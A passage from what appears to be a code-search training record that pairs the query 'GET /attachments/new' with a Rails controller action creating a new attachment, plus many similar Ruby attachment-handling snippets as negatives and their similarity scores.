query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<InlineResponse2002>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EmailsApi#get_file_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @file_upload_attachments = FileUploadAttachment.all\n end", "def get_document_attachments(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_attachments_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_attachments_with_http_info(name, opts)\n else\n raise\n end\n return data\n end", "def index\n @link_attachments = LinkAttachment.all\n end", "def attachments\n @_message.attachments\n end", "def attachments(params={})\n raise ArgumentError, \"Error: ids or attachment_ids must be set\" unless params[:ids] || params[:attachment_ids]\n rpc_call :attachments, params\n end", "def attachment_get\n c_user = current_user()\n course = Course.where(id: params[:course_id]).first()\n\n # Course not found case\n if course.nil?\n return ( render status: 404, json: { result: \"Course Not Found\" } )\n end\n\n # Course found case\n if params[:type] == \"Document\"\n attache = Document.where(id: params[:attach_id], attachable_id: course.id).first()\n elsif params[:type] == \"Embed\"\n attache = Embed.where(id: params[:attach_id], attachable_id: course.id).first()\n end\n\n # Attachment not found case\n if attache.nil?\n return ( render status: 404, json: { result: \"Attachable Not Found\" } )\n end\n\n # Public case:\n if course.visibility == Visibility.published \n render status: 200, json: { result: attache}\n\n # Authenticated case:\n elsif logged_in? # Ensure that the user is logged in\n # Checks IF user is privledged or owns the course, ELSE return unauthorized\n if c_user.role == Role.admin or c_user.role == Role.moderator or\n c_user.id == course.user_id then\n render status: 200, json: { result: attache }\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n\n # Course is not (public) AND (owned by user and editable) AND (user is not privledged)\n else\n render status: 401, json: { result: \"Not Authorized\" }\n end\n end", "def attachments\n return @attachments\n end", "def attachments\n return @attachments\n end", "def attachments\n return @attachments\n end", "def get_attachment_by_message_id(token, id, fields = nil, user = nil)\n request_url = user_context(user) << \"/Messages/\" << id << \"/attachments/\"\n request_params = nil\n\n unless fields.nil?\n request_params = { '$select' => fields.join(',') }\n end\n\n get_message_response = make_api_call \"GET\", request_url, token, request_params\n\n parse_response(get_message_response)\n end", "def attachment(key)\n # Use to_a.find to take advantage of the eager-loaded attachments and blobs.\n attachments.to_a.find { |a| a.key == key && a.file&.attached? }\n end", "def show\n @ticket_attachments = @ticket.ticket_attachments.all\n end", "def index\n @order_attachments = OrderAttachment.all\n end", "def show\n @attachment = @specification.attachment\n end", "def index\n @gallery_attachments = GalleryAttachment.all\n end", "def list_attachments_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AlertApi.list_attachments ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling AlertApi.list_attachments\"\n end\n if @api_client.config.client_side_validation && opts[:'alert_identifier_type'] && !['id', 'alias', 'tiny'].include?(opts[:'alert_identifier_type'])\n fail ArgumentError, 'invalid value for \"alert_identifier_type\", must be one of id, alias, tiny'\n end\n # resource path\n local_var_path = \"/v2/alerts/{identifier}/attachments\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'alertIdentifierType'] = opts[:'alert_identifier_type'] if !opts[:'alert_identifier_type'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListAlertAttachmentsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AlertApi#list_attachments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get(\n id,\n deadline: nil\n )\n req = V1::AccountAttachmentGetRequest.new()\n if not @parent.snapshot_time.nil?\n req.meta = V1::GetRequestMetadata.new()\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.id = (id)\n tries = 0\n plumbing_response = nil\n loop do\n begin\n plumbing_response = @stub.get(req, metadata: @parent.get_metadata(\"AccountAttachments.Get\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n break\n end\n\n resp = AccountAttachmentGetResponse.new()\n resp.account_attachment = Plumbing::convert_account_attachment_to_porcelain(plumbing_response.account_attachment)\n resp.meta = Plumbing::convert_get_response_metadata_to_porcelain(plumbing_response.meta)\n resp.rate_limit = Plumbing::convert_rate_limit_metadata_to_porcelain(plumbing_response.rate_limit)\n resp\n end", "def get_mail_attachment\n Log.add_info(request, params.inspect)\n\n attached_id = params[:id].to_i\n begin\n mail_attach = MailAttachment.find(attached_id)\n rescue => evar\n end\n\n if mail_attach.nil?\n redirect_to(THETIS_RELATIVE_URL_ROOT + '/404.html')\n return\n end\n\n begin\n email = Email.find(mail_attach.email_id)\n rescue => evar\n end\n if email.nil? or email.user_id != @login_user.id\n render(:text => '')\n return\n end\n\n mail_attach_name = mail_attach.name\n\n agent = request.env['HTTP_USER_AGENT']\n unless agent.nil?\n ie_ver = nil\n agent.scan(/\\sMSIE\\s?(\\d+)[.](\\d+)/){|m|\n ie_ver = m[0].to_i + (0.1 * m[1].to_i)\n }\n mail_attach_name = CGI::escape(mail_attach_name) unless ie_ver.nil?\n end\n\n filepath = mail_attach.get_path\n if FileTest.exist?(filepath)\n send_file(filepath, :filename => mail_attach_name, :stream => true, :disposition => 'attachment')\n else\n send_data('', :type => 'application/octet-stream;', :disposition => 'attachment;filename=\"'+mail_attach_name+'\"')\n end\n end", "def get_attachments()\n\t\t\n\t\tmessages = list_of_messages()\n\n\t\t#Initializing Nested Hash so that we can store message_id, file_name and attachemnt id\n\t\tfiles= Hash.new { |l, k| l[k] = Hash.new(&l.default_proc) }\n\t\tmessages.each do |message_id|\n\t\t\n\t\t\t#Create a new request\n\t\t\trequest_url = \"https://www.googleapis.com/gmail/v1/users/#{@email}/messages/#{message_id}?access_token=#{@access_token}\"\n\n\t\t\t#GET REQUEST\n\t\t\tresponse = RestClient.get request_url\n\t\t\tresponse_body = JSON.parse(response.body)\n\n\t\t\t#Getting list of attachments based on message id\n\t\t\ttemp = response_body['payload']['parts']\n\t\t\ttemp.each do |item|\n\t\t\t\tif item['filename'] !=''\n\t\t\t\t\tfiles[message_id][item['filename']]=item['body']['attachmentId']\n\t\t\t\tend\n\t\t\tend \n\t\tend\n\t\treturn files\n\tend", "def show\n @conference=Conference.find(params[:conference_id])\n @issue = @conference.issues.find(params[:id])\n @attachments=@issue.attachments.all\n respond_to do |format|\n format.html # show.html.erb\n format.js\n end\n end", "def get_sas_logical_jbod_attachments(client)\n OneviewSDK::Resource.find_with_pagination(client, ATTACHMENT_URI)\n end", "def show\n attachment = current_attachment\n\n respond_to do |format|\n format.csv do\n send_data(\n attachment.file.blob.download,\n type: 'text/csv',\n filename: \"#{attachment.key}.#{attachment.scenario_id}.csv\"\n )\n end\n\n format.any do\n render json: attachment_json(attachment)\n end\n end\n end", "def index\n @design_image_attachments = DesignImageAttachment.all\n end" ]
[ "0.7398587", "0.7296942", "0.7253588", "0.7209554", "0.71996045", "0.71996045", "0.7145582", "0.70333874", "0.70266855", "0.70266855", "0.70266855", "0.70266855", "0.70266855", "0.698761", "0.69863105", "0.6961913", "0.6919592", "0.6893697", "0.68758965", "0.68495494", "0.6849456", "0.68317086", "0.6826051", "0.68175423", "0.68139696", "0.6808795", "0.6800931", "0.6767903", "0.6748756", "0.6748346", "0.67086035", "0.66985947", "0.6676435", "0.6668873", "0.6657334", "0.66467917", "0.6634953", "0.6629986", "0.65764356", "0.6551323", "0.65239775", "0.65239775", "0.65239775", "0.65177274", "0.6501324", "0.6501324", "0.6501145", "0.6492406", "0.64893293", "0.6479954", "0.6460041", "0.6460041", "0.64594275", "0.64591485", "0.6428429", "0.6413926", "0.63971657", "0.63763595", "0.63686943", "0.6361373", "0.6360775", "0.6360775", "0.634323", "0.6338893", "0.63359827", "0.63326645", "0.6332378", "0.63129437", "0.63061655", "0.6303005", "0.6302725", "0.62973326", "0.6279971", "0.62643415", "0.6264221", "0.6255737", "0.6232672", "0.6228909", "0.62191594", "0.62174934", "0.62146765", "0.62146765", "0.62146765", "0.62036586", "0.61976975", "0.6193773", "0.6183902", "0.61795056", "0.6177862", "0.61766833", "0.616829", "0.6164769", "0.6142058", "0.6133966", "0.6131511", "0.61231875", "0.6093774" ]
0.73936045
4
GET /attachments/new GET /attachments/new.json
def new @attachment = Attachment.new @attachment.model_name=params[:model_name] @attachment.model_id=params[:model_id] @attachment.created_by = current_user.id @attachment.user_id =current_user.id @attachment.sede_id =current_user.sede_id respond_to do |format| format.html # new.html.erb format.json { render json: @attachment } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @message_attachment = MessageAttachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @message_attachment }\n end\n end", "def new\n @attachment_datum = AttachmentDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment_datum }\n end\n end", "def new\n @attached = Attached.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attached }\n end\n end", "def new\n @attached = Attached.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attached }\n end\n end", "def new\n @pattachment = Pattachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pattachment }\n end\n end", "def new\n @attachment = Attachment.new\n @entries = Entry.find(:all, :order => \"updated_at DESC\").map { |e| [e.title, e.id] }\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attachment }\n end\n end", "def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attachment }\n end\n end", "def new\n @file_attachment = FileAttachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @file_attachment }\n end\n end", "def new\n @attachment = Attachment.new\n @courses = Course.where(:user_id => current_user)\n @assignments = Assignment.where(:user_id => current_user)\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end", "def new\n @attached_asset = AttachedAsset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attached_asset }\n end\n end", "def new\n @event = Event.new\n 3.times { @event.attachments.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event }\n end\n end", "def new\n @importation_attachment = ImportationAttachment.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @importation_attachment }\n end\n end", "def new\n @task = Task.new\n @project = Project.find(params[:project_id])\n @attachment = @task.attachments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @gig = Gig.new()\n @gig.build_attachment\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gig }\n end\n end", "def create\n @attachment = Attachment.new(params[:attachment])\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attachment = Attachment.new(params[:attachment])\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @action_file = ActionFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @action_file }\n end\n end", "def new\n @bulletin_file = BulletinFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bulletin_file }\n end\n end", "def new\n @mfile = Mfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mfile }\n end\n end", "def create\n @message_attachment = MessageAttachment.new(params[:message_attachment])\n\n respond_to do |format|\n if @message_attachment.save\n format.html { redirect_to @message_attachment, notice: 'Message attachment was successfully created.' }\n format.json { render json: @message_attachment, status: :created, location: @message_attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @file_record = FileRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_record }\n end\n end", "def new\n @download = Download.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @download }\n end\n end", "def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to \"/\", notice: 'Attachment was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @article = Article.new\n @user = User.find_by_id(session[:user_id])\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n \n # def uri?(attachment_url)\n # uri = URI.parse(attachment_url)\n # %w( http https ).include?(uri.scheme)\n # rescue URI::BadURIError\n # false\n # end\n # \n #\n end", "def new\n KyuEntry.invalid_attachments\n @kyu_entry = KyuEntry.new\n new_kyu = render_to_string(partial: \"newentry\",\n locals: {kyu_entry: @kyu_entry})\n respond_to do |format|\n format.json { render json: new_kyu.to_json }\n end\n end", "def new\n @file_version = FileVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_version }\n end\n end", "def new\n @job_application_attachment = JobApplicationAttachment.new\n @job_applications = JobApplication.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application_attachment }\n end\n end", "def new\n @fileversion = Fileversion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fileversion }\n end\n end", "def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @attachment }\n else\n format.html { render :new }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @mail_item = MailItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mail_item }\n end\n end", "def new\n @file_sequence = FileSequence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_sequence }\n end\n end", "def new\n @up_file = UpFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @up_file }\n end\n end", "def new\n @arquivo = Arquivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arquivo }\n end\n end", "def new\n @arquivo = Arquivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arquivo }\n end\n end", "def new\n @course = Course.new\n @course.attachments.new \n end", "def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end", "def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end", "def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end", "def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end", "def new\n @mailbox = Mailbox.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mailbox }\n end\n end", "def new\n @content_item = ContentItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_item }\n end\n end", "def new\n @inventory_file = InventoryFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @inventory_file }\n end\n end", "def new\n @kf_course_knowledge_attachment = Kf::CourseKnowledgeAttachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kf_course_knowledge_attachment }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @post = Post.find(params[:post_id])\n @attach = Attach.new\n end", "def new\n @media_item = MediaItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @media_item }\n end\n end", "def new\n @file_info = FileInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_info }\n end\n end", "def new\n @announce = Announce.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announce }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @upload }\n end\n end", "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part }\n end\n end", "def new\n @wallpaper = Wallpaper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wallpaper }\n end\n end", "def new\n\t\t@product = Product.new\n\t\t@products = Product.all\n\t\t@attachment_file = AttachmentFile.new\n\t\t@action = 'create'\n\t\trespond_to do |format|\n\t\t format.html # new.html.erb\n\t\t format.json { render :json => @product }\n\t\tend\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo }\n end\n end", "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo }\n end\n end", "def new\n @special_document = ModifiedDocument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @special_document }\n end\n end", "def create\n hash = []\n params[:files].each do |i,file_io|\n path = File.join(Rails.root,'public','attach',file_io.original_filename)\n File.open(path, \"wb\") { |f| f.write(file_io.read)}\n attachment = Attachment.create do |attach|\n attach.name = file_io.original_filename\n attach.describe = params[:describe]\n end \n hash.push attachment\n end\n render json: hash\n end", "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @part }\n end\n end", "def new\n @title = \"New Subject\"\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end", "def create\n puts params\n item_data = {\n :title => params[:title],\n :description => params[:description]\n }\n @item = current_user.items.build(item_data)\n if params[:attachments]\n params[:attachments].each do |att_id|\n @att = Attachment.find(att_id)\n @item.attachments.push(@att)\n if @att.att_type == 'photo'\n @item.photos.build(\n photo_url: @att.url\n )\n end\n end\n end\n if @item.save\n respond_to do |format|\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create item\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @test_file = TestFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_file }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end", "def new\r\n @gallery_activity = GalleryActivity.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @gallery_activity }\r\n end\r\n end", "def new\n @cause_analyasis = CauseAnalysis.new()\n @cause_analyasis.build_attachment\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cause_analyasis }\n end\n end", "def new\n @medium_body_part = MediumBodyPart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium_body_part }\n end\n end", "def new\n @backup_file = BackupFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @backup_file }\n end\n end", "def new\n @paper = Paper.new\n @document = @paper.documents.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paper }\n end\n end", "def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end", "def new\n @digital_content_file = DigitalContentFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @digital_content_file }\n end\n end", "def new\n authorize Answer\n @answer = Answer.new\n @answer.attachments.build\n end", "def create\n @cms_attachment = Cms::Attachment.new(cms_attachment_params)\n\n respond_to do |format|\n if @cms_attachment.save\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @cms_attachment }\n else\n format.html { render :new }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @item = Item.new\n @item.item_attachments.build\n @panels = Panel.where(\"active=?\", true)\n @items = Item.where(\"active=?\", true).order(\"title asc\")\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end", "def new\n @resource_file = ResourceFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource_file }\n end\n end", "def new\n @announcement = Announcement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announcement }\n end\n end", "def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @content }\n end\n end", "def new\n @photo = @allbum.photos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @media_type = MediaType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @media_type }\n end\n end", "def new\n @medium = Medium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium }\n end\n end", "def new\n @pgn_file = PgnFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pgn_file }\n end\n end", "def new\n @file_project = FileProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_project }\n end\n end" ]
[ "0.8170156", "0.81698227", "0.81698227", "0.7850828", "0.76186186", "0.75798947", "0.75798947", "0.7561675", "0.75612336", "0.7499064", "0.7499064", "0.7325541", "0.7198492", "0.7149169", "0.6943176", "0.69420123", "0.69367063", "0.69170254", "0.6755561", "0.6755561", "0.67437774", "0.67054135", "0.6672305", "0.66654754", "0.6655869", "0.6596383", "0.65926903", "0.65848804", "0.6566288", "0.6554525", "0.6548405", "0.65302414", "0.6524509", "0.65160316", "0.64859134", "0.6483953", "0.6482833", "0.64720756", "0.64719415", "0.64598566", "0.64597535", "0.6459102", "0.6459102", "0.6459102", "0.64359593", "0.64144474", "0.64140296", "0.6408088", "0.6395512", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63946784", "0.63945776", "0.63903487", "0.63896173", "0.6377407", "0.6375233", "0.63678163", "0.6364612", "0.6355654", "0.63552713", "0.63552713", "0.6345457", "0.6345024", "0.63409925", "0.6340705", "0.63388556", "0.6338688", "0.6336416", "0.6336416", "0.6336416", "0.6336416", "0.6336416", "0.6336416", "0.63363963", "0.6333345", "0.6330813", "0.6329388", "0.6325046", "0.63073856", "0.63057077", "0.63052595", "0.63048375", "0.63030034", "0.6302875", "0.6300278", "0.62908137", "0.6287161", "0.6285356", "0.62820697", "0.6281106", "0.6275191" ]
0.0
-1
POST /attachments POST /attachments.json
def create @attachment = Attachment.new(params[:attachment]) if @attachment.model_id != nil respond_to do |format| if @attachment.save format.html { redirect_to "/#{@attachment.model_name}/#{@attachment.model_id}/edit/", notice: 'Attachment was successfully created.' } format.json { render json: @attachment, status: :created, location: @attachment } else format.html { render action: "new" } format.json { render json: @attachment.errors, status: :unprocessable_entity } end end else respond_to do |format| format.html { redirect_to :back } format.json { head :no_content } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n if params[:attachments]\n params[:attachments].each do |a|\n @attachment = @document.attachments.create!(:attachment => a)\n end\n end\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n hash = []\n params[:files].each do |i,file_io|\n path = File.join(Rails.root,'public','attach',file_io.original_filename)\n File.open(path, \"wb\") { |f| f.write(file_io.read)}\n attachment = Attachment.create do |attach|\n attach.name = file_io.original_filename\n attach.describe = params[:describe]\n end \n hash.push attachment\n end\n render json: hash\n end", "def create\n @attachment = Attachment.new(params[:attachment])\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attachment = Attachment.new(params[:attachment])\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to \"/\", notice: 'Attachment was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @attachment }\n else\n format.html { render :new }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_attachment(file_s)\n setup\n @req = Net::HTTP::Post.new(\"/uploads.json\")\n auth\n @req[\"Content-Type\"] = \"application/octet-stream\"\n @req[\"Content-Length\"] = file_s.length\n @req.body = file_s\n res = @http.request(@req)\n\n if res.code.to_i == 201\n return [true, JSON.load(res.body)[\"upload\"][\"token\"]]\n else\n return [false, JSON.load(res.body)[\"errors\"].first]\n end\n end", "def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = current_user.posts.new(post_params)\n\n respond_to do |format|\n if @post.save\n params[:post_attachments]['avatar'].each 